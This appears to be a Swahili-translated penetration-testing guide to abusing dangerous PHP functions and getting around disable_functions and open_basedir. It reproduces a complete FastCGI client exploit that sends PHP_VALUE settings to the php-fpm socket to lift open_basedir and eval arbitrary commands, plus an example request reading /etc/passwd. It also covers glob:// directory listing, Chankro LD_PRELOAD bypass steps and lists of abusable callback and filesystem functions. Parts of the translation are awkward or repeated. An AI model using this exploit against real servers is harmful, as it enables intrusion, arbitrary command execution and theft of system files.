pcntl_exec - Inatekeleza programu (kwa chaguo-msingi katika PHP ya kisasa na isiyo ya kisasa unahitaji kupakia moduli ya pcntl.so ili kutumia kazi hii)
barua pepe / mb_send_mail - Hii kazi hutumiwa kutuma barua pepe, lakini inaweza kutumiwa vibaya kuingiza amri za kupendelea ndani ya $options parameter. Hii ni kwa sababu php mail function kawaida huita sendmail binary ndani ya mfumo na inakuruhusu kuweka chaguo za ziada. Walakini, hautaweza kuona matokeo ya amri iliyotekelezwa, kwa hivyo inashauriwa kuunda script ya shell ambayo inaandika matokeo kwenye faili, kuitekeleza kwa kutumia mail, na kuchapisha matokeo:
dl - Kazi hii inaweza kutumika kudhibitisha mzigo wa PHP kwa kudhibitisha kipanuzi. Kazi hii haitakuwepo kila wakati, hivyo unapaswa kuhakikisha kama ipo kabla ya kujaribu kuitumia. Soma ukurasa huu kujifunza jinsi ya kutumia kazi hii.
Utekelezaji wa Msimbo wa PHP
Mbali na eval kuna njia nyingine za kutekeleza msimbo wa PHP: include/require inaweza kutumika kwa utekelezaji wa msimbo wa PHP kwa njia ya udhaifu wa Kuingiza Faili za Ndani na Kuingiza Faili za Mbali.
${<php code>} // If your input gets reflected in any PHP string, it will be executed.eval()assert()// identical to eval()preg_replace('/.*/e',...)// e does an eval() on the matchcreate_function()// Create a function and use eval()include()include_once()require()require_once()$_GET['func_name']($_GET['argument']);$func =newReflectionFunction($_GET['func_name']);$func->invoke();// or$func->invokeArgs(array());// or serialize/unserialize function
disable_functions & open_basedir
Funguo zilizozimwa ni mipangilio inayoweza kusanidiwa katika faili za .ini katika PHP ambayo itazuia matumizi ya kazi zilizotajwa. Open basedir ni mipangilio inayoonyesha PHP folda ambayo inaweza kufikia.
Mipangilio ya PHP huzoeleka kusanidiwa katika njia /etc/php7/conf.d au sawa na hiyo.
Mipangilio yote inaweza kuonekana kwenye matokeo ya phpinfo():
open_basedir Bypass
open_basedir itasanidi folda ambazo PHP inaweza kufikia, hutaweza kuandika/kusoma/kutekeleza faili yoyote nje ya folda hizo, lakini pia hutaweza hata kuorodhesha mabano mengine.
Hata hivyo, ikiwa kwa namna fulani unaweza kutekeleza msimbo wa PHP kwa hiari unaweza jaribu kifungu kifuatacho cha mambo kujaribu kupita kizuizi.
Kuorodhesha mabano na kizuizi cha glob://
Katika mfano wa kwanza, itatumika itifaki ya glob:// na kizuizi cha njia fulani:
<?php$file_list =array();$it =newDirectoryIterator("glob:///v??/run/*");foreach($it as $f) {$file_list[] = $f->__toString();}$it =newDirectoryIterator("glob:///v??/run/.*");foreach($it as $f) {$file_list[] = $f->__toString();}sort($file_list);foreach($file_list as $f){echo"{$f}<br/>";}
Note1: Katika njia unaweza pia kutumia /e??/* kuorodhesha /etc/* na folda nyingine yoyote.
Note2: Inaonekana kama sehemu ya nambari imejirudia, lakini hiyo ni muhimu!
Note3: Mfano huu ni muhimu tu kwa kuorodhesha folda si kusoma faili
Kukiuka kabisa open_basedir kwa kutumia FastCGI
Ikiwa unataka kujifunza zaidi kuhusu PHP-FPM na FastCGI unaweza kusoma sehemu ya kwanza ya ukurasa huu.
Ikiwa php-fpm imeboreshwa unaweza kuitumia kukiuka kabisa open_basedir:
Tafadhali kumbuka jambo la kwanza unalohitaji kufanya ni kupata socket ya unix ya php-fpm. Kawaida huwa chini ya /var/run hivyo unaweza kutumia nambari iliyotangulia kuorodhesha folda na kuipata.
Nambari kutoka hapa.
<?php/*** Note : Code is released under the GNU LGPL** Please do not change the header of this file** This library is free software; you can redistribute it and/or modify it under the terms of the GNU* Lesser General Public License as published by the Free Software Foundation; either version 2 of* the License, or (at your option) any later version.** This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.** See the GNU Lesser General Public License for more details.*//*** Handles communication with a FastCGI application** @author Pierrick Charron <pierrick@webstart.fr>* @version 1.0*/classFCGIClient{const VERSION_1 =1;const BEGIN_REQUEST =1;const ABORT_REQUEST =2;const END_REQUEST =3;const PARAMS =4;const STDIN =5;const STDOUT =6;const STDERR =7;const DATA =8;const GET_VALUES =9;const GET_VALUES_RESULT =10;const UNKNOWN_TYPE =11;const MAXTYPE =self::UNKNOWN_TYPE;const RESPONDER =1;const AUTHORIZER =2;const FILTER =3;const REQUEST_COMPLETE =0;const CANT_MPX_CONN =1;const OVERLOADED =2;const UNKNOWN_ROLE =3;const MAX_CONNS ='MAX_CONNS';const MAX_REQS ='MAX_REQS';const MPXS_CONNS ='MPXS_CONNS';const HEADER_LEN =8;/*** Socket* @varResource*/private $_sock =null;/*** Host* @varString*/private $_host =null;/*** Port* @varInteger*/private $_port =null;/*** Keep Alive* @varBoolean*/private $_keepAlive =false;/*** Constructor** @paramString $host Host of the FastCGI application* @paramInteger $port Port of the FastCGI application*/publicfunction__construct($host, $port =9000) // and default value for port, just for unixdomain socket{$this->_host = $host;$this->_port = $port;}/*** Define whether or not the FastCGI application should keep the connection* alive at the end of a request** @paramBoolean $b true if the connection should stay alive, false otherwise*/publicfunctionsetKeepAlive($b){$this->_keepAlive = (boolean)$b;if (!$this->_keepAlive &&$this->_sock) {fclose($this->_sock);}}/*** Get the keep alive status** @returnBoolean true if the connection should stay alive, false otherwise*/publicfunctiongetKeepAlive(){return$this->_keepAlive;}/*** Create a connection to the FastCGI application*/privatefunctionconnect(){if (!$this->_sock) {//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);$this->_sock =stream_socket_client($this->_host, $errno, $errstr,5);if (!$this->_sock) {thrownewException('Unable to connect to FastCGI application');}}}/*** Build a FastCGI packet** @paramInteger $type Type of the packet* @paramString $content Content of the packet* @paramInteger $requestId RequestId*/privatefunctionbuildPacket($type, $content, $requestId =1){$clen =strlen($content);returnchr(self::VERSION_1)/* version */.chr($type)/* type */.chr(($requestId >>8) &0xFF)/* requestIdB1 */.chr($requestId &0xFF)/* requestIdB0 */.chr(($clen >>8 ) &0xFF)/* contentLengthB1 */.chr($clen &0xFF)/* contentLengthB0 */.chr(0)/* paddingLength */.chr(0)/* reserved */. $content; /* content */}/*** Build an FastCGI Name value pair** @paramString $name Name* @paramString $value Value* @returnString FastCGI Name value pair*/privatefunctionbuildNvpair($name, $value){$nlen =strlen($name);$vlen =strlen($value);if ($nlen <128) {/* nameLengthB0 */$nvpair =chr($nlen);} else {/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */$nvpair =chr(($nlen >>24) |0x80).chr(($nlen >>16) &0xFF).chr(($nlen >>8) &0xFF).chr($nlen &0xFF);}if ($vlen <128) {/* valueLengthB0 */$nvpair .=chr($vlen);} else {/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */$nvpair .=chr(($vlen >>24) |0x80).chr(($vlen >>16) &0xFF).chr(($vlen >>8) &0xFF).chr($vlen &0xFF);}/* nameData & valueData */return $nvpair . $name . $value;}/*** Read a set of FastCGI Name value pairs** @paramString $data Data containing the set of FastCGI NVPair* @returnarray of NVPair*/privatefunctionreadNvpair($data, $length =null){$array =array();if ($length ===null) {$length =strlen($data);}$p =0;while ($p != $length) {$nlen =ord($data{$p++});if ($nlen >=128) {$nlen = ($nlen &0x7F<<24);$nlen |= (ord($data{$p++})<<16);$nlen |= (ord($data{$p++})<<8);$nlen |= (ord($data{$p++}));}$vlen =ord($data{$p++});if ($vlen >=128) {$vlen = ($nlen &0x7F<<24);$vlen |= (ord($data{$p++})<<16);$vlen |= (ord($data{$p++})<<8);$vlen |= (ord($data{$p++}));}$array[substr($data, $p, $nlen)] =substr($data, $p+$nlen, $vlen);$p += ($nlen + $vlen);}return $array;}/*** Decode a FastCGI Packet** @paramString $data String containing all the packet* @returnarray*/privatefunctiondecodePacketHeader($data){$ret =array();$ret['version'] =ord($data{0});$ret['type'] =ord($data{1});$ret['requestId'] = (ord($data{2})<<8) +ord($data{3});$ret['contentLength'] = (ord($data{4})<<8) +ord($data{5});$ret['paddingLength'] =ord($data{6});$ret['reserved'] =ord($data{7});return $ret;}/*** Read a FastCGI Packet** @returnarray*/privatefunctionreadPacket(){if ($packet =fread($this->_sock,self::HEADER_LEN)) {$resp =$this->decodePacketHeader($packet);$resp['content'] ='';if ($resp['contentLength']) {$len = $resp['contentLength'];while ($len && $buf=fread($this->_sock, $len)) {$len -=strlen($buf);$resp['content'] .= $buf;}}if ($resp['paddingLength']) {$buf=fread($this->_sock, $resp['paddingLength']);}return $resp;} else {returnfalse;}}/*** Get Informations on the FastCGI application** @paramarray $requestedInfo information to retrieve* @returnarray*/publicfunctiongetValues(array $requestedInfo){$this->connect();$request ='';foreach ($requestedInfo as $info) {$request .=$this->buildNvpair($info,'');}fwrite($this->_sock,$this->buildPacket(self::GET_VALUES, $request,0));$resp =$this->readPacket();if ($resp['type'] ==self::GET_VALUES_RESULT) {return$this->readNvpair($resp['content'], $resp['length']);} else {thrownewException('Unexpected response type, expecting GET_VALUES_RESULT');}}/*** Execute a request to the FastCGI application** @paramarray $params Array of parameters* @paramString $stdin Content```php* @returnString*/publicfunctionrequest(array $params, $stdin){$response ='';$this->connect();$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
$paramsRequest ='';foreach ($params as $key => $value) {$paramsRequest .=$this->buildNvpair($key, $value);}if ($paramsRequest) {$request .=$this->buildPacket(self::PARAMS, $paramsRequest);}$request .=$this->buildPacket(self::PARAMS,'');if ($stdin) {$request .=$this->buildPacket(self::STDIN, $stdin);}$request .=$this->buildPacket(self::STDIN,'');fwrite($this->_sock, $request);do {$resp =$this->readPacket();if ($resp['type'] ==self::STDOUT || $resp['type'] ==self::STDERR) {$response .= $resp['content'];}} while ($resp && $resp['type'] !=self::END_REQUEST);var_dump($resp);if (!is_array($resp)) {thrownewException('Bad request');}switch (ord($resp['content']{4})) {caseself::CANT_MPX_CONN:thrownewException('This app can\'t multiplex [CANT_MPX_CONN]');break;caseself::OVERLOADED:thrownewException('New request rejected; too busy [OVERLOADED]');break;caseself::UNKNOWN_ROLE:thrownewException('Role value not known [UNKNOWN_ROLE]');break;caseself::REQUEST_COMPLETE:return $response;}}}?><?php// real exploit start hereif (!isset($_REQUEST['cmd'])) {die("Check your input\n");}if (!isset($_REQUEST['filepath'])) {$filepath =__FILE__;}else{$filepath = $_REQUEST['filepath'];}$req ='/'.basename($filepath);$uri = $req .'?'.'command='.$_REQUEST['cmd'];$client =newFCGIClient("unix:///var/run/php-fpm.sock",-1);$code ="<?php eval(\$_REQUEST['command']);?>"; // php payload -- Doesnt do anything$php_value ="allow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input";//$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://127.0.0.1/e.php";$params =array('GATEWAY_INTERFACE'=>'FastCGI/1.0','REQUEST_METHOD'=>'POST','SCRIPT_FILENAME'=> $filepath,'SCRIPT_NAME'=> $req,'QUERY_STRING'=>'command='.$_REQUEST['cmd'],'REQUEST_URI'=> $uri,'DOCUMENT_URI'=> $req,#'DOCUMENT_ROOT' => '/','PHP_VALUE'=> $php_value,'SERVER_SOFTWARE'=>'80sec/wofeiwo','REMOTE_ADDR'=>'127.0.0.1','REMOTE_PORT'=>'9985','SERVER_ADDR'=>'127.0.0.1','SERVER_PORT'=>'80','SERVER_NAME'=>'localhost','SERVER_PROTOCOL'=>'HTTP/1.1','CONTENT_LENGTH'=>strlen($code));// print_r($_REQUEST);// print_r($params);//echo "Call: $uri\n\n";echo $client->request($params, $code)."\n";?>
Hii scripts itawasiliana na unix socket ya php-fpm (kawaida iko katika /var/run ikiwa fpm inatumika) ili kutekeleza nambari ya kupindukia. Mipangilio ya open_basedir itafutwa na sifa ya PHP_VALUE inayotumwa.
Tafadhali kumbuka jinsi eval inavyotumika kutekeleza nambari ya PHP unayotuma ndani ya parameter ya cmd.
Pia kumbuka mstari uliokomentiwa 324, unaweza kuondoa maoni yake na payload itaunganisha moja kwa moja kwenye URL iliyotolewa na kutekeleza nambari ya PHP iliyomo hapo.
Fikia http://vulnerable.com:1337/l.php?cmd=echo file_get_contents('/etc/passwd'); kupata maudhui ya faili ya /etc/passwd.
Unaweza kufikiria kwamba kwa njia ile ile tulivyofuta mazingira ya open_basedir tunaweza kufuta disable_functions. Vizuri, jaribu, lakini haitafanya kazi, kwa kwamba disable_functions inaonekana inaweza kusanidiwa tu katika faili ya usanidi ya php ya .ini na mabadiliko unayofanya ukitumia PHP_VALUE hayatakuwa na athari kwenye usanidi huu maalum.
disable_functions Kupita
Ikiwa unaweza kuwa na nambari ya PHP inayotekelezwa ndani ya mashine labda unataka kwenda kwenye kiwango kinachofuata na kutekeleza amri za mfumo za kupindukia. Katika hali hii ni kawaida kugundua kuwa zaidi au vyote vya PHP functions vinavyoruhusu utekelezaji wa amri za mfumo vimelemazwa katika disable_functions.
Kwa hivyo, tuone jinsi unavyoweza kuzunguka kizuizi hiki (ikiwa unaweza)
Rudi mwanzoni mwa ukurasa huu na angalia ikiwa kuna function yoyote ya kutekeleza amri ambayo haijalemazwa na ipo kwenye mazingira. Ikiwa utapata moja tu, utaweza kutumia kutekeleza amri za mfumo za kupindukia.
Kupita kwa kutumia LD_PRELOAD
Inajulikana vizuri kwamba baadhi ya functions katika PHP kama mail() zitakuwa kutekeleza binaries ndani ya mfumo. Kwa hivyo, unaweza kuzitumia kwa kutumia mazingira ya variable ya LD_PRELOAD kufanya ziweke maktaba ya kupindukia inayoweza kutekeleza chochote.
Functions zinazoweza kutumika kuzunguka disable_functions na LD_PRELOAD
mail
mb_send_mail: Inafanya kazi wakati moduli ya php-mbstring imewekwa.
imap_mail: Inafanya kazi ikiwa moduli ya php-imap ipo.
libvirt_connect: Inahitaji moduli ya php-libvirt-php.
gnupg_init: Inaweza kutumika na moduli ya php-gnupg imewekwa.
new imagick(): Darasa hili linaweza kutumika kuzunguka vizuizi. Mbinu kamili za kutumia zinaweza kupatikana katika makala hii.
Unaweza kupata hapa script ya kufanya fujo iliyotumika kupata functions hizo.
Hapa kuna maktaba unayoweza kuchambua kutumia mazingira ya LD_PRELOAD:
Ili kutumia utata huu unaweza Chankro. Hii ni chombo ambacho kit zalisha shambulizi la PHP ambalo unahitaji kupakia kwenye seva yenye kasoro na kulitekeleza (ufikie kupitia wavuti).
Chankro itaandika kwenye diski ya waathiriwa maktaba na kifaa cha kubadilisha unachotaka kutekeleza na itatumia**LD_PRELOAD mbinu + PHP mail()** kazi kutumia kifaa cha kubadilisha.
Tafadhali kumbuka kwamba ili kutumia Chankro, mail na putenvhazipaswi kuonekana ndani ya orodha ya disable_functions.
Katika mfano ufuatao unaweza kuona jinsi ya kuunda shambulizi la chankro kwa arch 64, ambayo itatekeleza whoami na kuokoa pato katika /tmp/chankro_shell.out, chankro ita andika maktaba na mzigo katika /tmp na shambulizi la mwisho litaitwa bicho.php (hiyo ndiyo faili unayohitaji kupakia kwenye seva za waathiriwa):
#!/bin/shwhoami >/tmp/chankro_shell.out
Chini ni orodha ya kazi za PHP ambazo zinaweza kusaidia katika kufanya shughuli za kawaida za uhandisi wa nyuma kwa njia ya kipekee. Kumbuka kwamba kazi hizi zinaweza kutumika kwa njia mbaya na zinaweza kusababisha hatari kwa usalama wa mfumo ikiwa hazitumiki kwa usahihi. Ni muhimu kuzingatia mazingira ya matumizi kabla ya kutumia kazi hizi.
disable_functions Bypass
Ikiwa kazi ya disable_functions imeamilishwa kwenye seva ya PHP, inazuia matumizi ya kazi fulani za PHP ambazo zimewekwa kwenye orodha ya kuzima. Hata hivyo, kuna njia za kuzunguka kizuizi hiki kwa kutumia mbinu mbalimbali kama vile kutumia kazi za kujenga faili, kutumia kazi za kufuta faili, au kutumia kazi za kusoma faili.
open_basedir Bypass
Kizuizi cha open_basedir kwenye PHP inazuia skripti kutoka kusoma faili nje ya eneo lililowekwa. Hata hivyo, kuna njia za kuzunguka kizuizi hiki kwa kutumia mbinu kama vile kutumia kazi za move_uploaded_file au kutumia kazi za file_get_contents kusoma faili zilizo nje ya eneo lililowekwa.
Kumbuka
Kabla ya kujaribu kuzunguka vikwazo kama disable_functions au open_basedir, ni muhimu kuhakikisha una idhini sahihi ya kufanya hivyo na kufuata sheria na kanuni zote zinazohusiana. Kukiuka sheria kunaweza kusababisha madhara makubwa ikiwa utagundulika.
Tafadhali kumbuka kwamba kwa kutumia PHP unaweza kusoma na kuandika faili, kuunda saraka na kubadilisha ruhusa.
Unaweza hata kudumpi databases.
Labda kwa kutumia PHP kwa kutambua sanduku unaweza kupata njia ya kuinua mamlaka/kutekeleza amri (kwa mfano kusoma funguo za ssh za faragha).
Kazi hizi hukubali parameter ya herufi ambayo inaweza kutumika kuita kazi ya uchaguzi wa mshambuliaji. Kulingana na kazi, mshambuliaji anaweza au hawezi kuwa na uwezo wa kupitisha parameter. Katika kesi hiyo, kazi ya Ufunuo wa Taarifa kama phpinfo() inaweza kutumika.
// Function => Position of callback arguments'ob_start'=>0,'array_diff_uassoc'=>-1,'array_diff_ukey'=>-1,'array_filter'=>1,'array_intersect_uassoc'=>-1,'array_intersect_ukey'=>-1,'array_map'=>0,'array_reduce'=>1,'array_udiff_assoc'=>-1,'array_udiff_uassoc'=>array(-1,-2),'array_udiff'=>-1,'array_uintersect_assoc'=>-1,'array_uintersect_uassoc'=>array(-1,-2),'array_uintersect'=>-1,'array_walk_recursive'=>1,'array_walk'=>1,'assert_options'=>1,'uasort'=>1,'uksort'=>1,'usort'=>1,'preg_replace_callback'=>1,'spl_autoload_register'=>0,'iterator_apply'=>1,'call_user_func'=>0,'call_user_func_array'=>0,'register_shutdown_function'=>0,'register_tick_function'=>0,'set_error_handler'=>0,'set_exception_handler'=>0,'session_set_save_handler'=>array(0,1,2,3,4,5),'sqlite_create_aggregate'=>array(2,3),'sqlite_create_function'=>2,
Kufichua Taarifa
Kitaalam, wito wa kazi hizi mara nyingi si tundu. Lakini badala yake inaweza kuwa mwanya ikiwa data yoyote inayorudiwa inaweza kuonekana na mshambuliaji. Ikiwa mshambuliaji anaweza kuona phpinfo() ni bila shaka mwanya.
extract // Opens the door for register_globals attacks (see study in scarlet).parse_str // works like extract if only one argument is given.putenvini_setmail // has CRLF injection in the 3rd parameter, opens the door for spam.header // on old systems CRLF injection could be used for xss or other purposes, now it is still a problem if they do a header("location: ..."); and they do not die();. The script keeps executing after a call to header(), and will still print output normally. This is nasty if you are trying to protect an administrative area.
proc_niceproc_terminateproc_closepfsockopenfsockopenapache_child_terminateposix_killposix_mkfifoposix_setpgidposix_setsidposix_setuid
Vipengele vya Mfumo wa Faili
Kulingana na RATS vipengele vyote vya mfumo wa faili katika php ni vichafu. Baadhi ya hivi havionekani kuwa vya manufaa kwa mshambuliaji. Vingine ni vya manufaa zaidi kuliko unavyoweza kufikiria. Kwa mfano, ikiwa allow_url_fopen=On basi url inaweza kutumika kama njia ya faili, hivyo wito wa copy($_GET['s'], $_GET['d']); unaweza kutumika kupakia skripti ya PHP popote kwenye mfumo. Pia ikiwa tovuti ina mapungufu ya ombi lililotumwa kupitia GET kila moja ya vipengele hivyo vya mfumo wa faili vinaweza kutumiwa vibaya kuelekeza na kushambulia mwenyeji mwingine kupitia seva yako.
Andika kwa mfumo wa faili (kwa sehemu katika mchanganyiko na kusoma)
chgrpchmodchowncopyfile_put_contentslchgrplchownlinkmkdirmove_uploaded_filerenamermdirsymlinktempnamtouchunlinkimagepng // 2nd parameter is a path.imagewbmp // 2nd parameter is a path.image2wbmp // 2nd parameter is a path.imagejpeg // 2nd parameter is a path.imagexbm // 2nd parameter is a path.imagegif // 2nd parameter is a path.imagegd // 2nd parameter is a path.imagegd2 // 2nd parameter is a path.iptcembedftp_getftp_nb_getscandir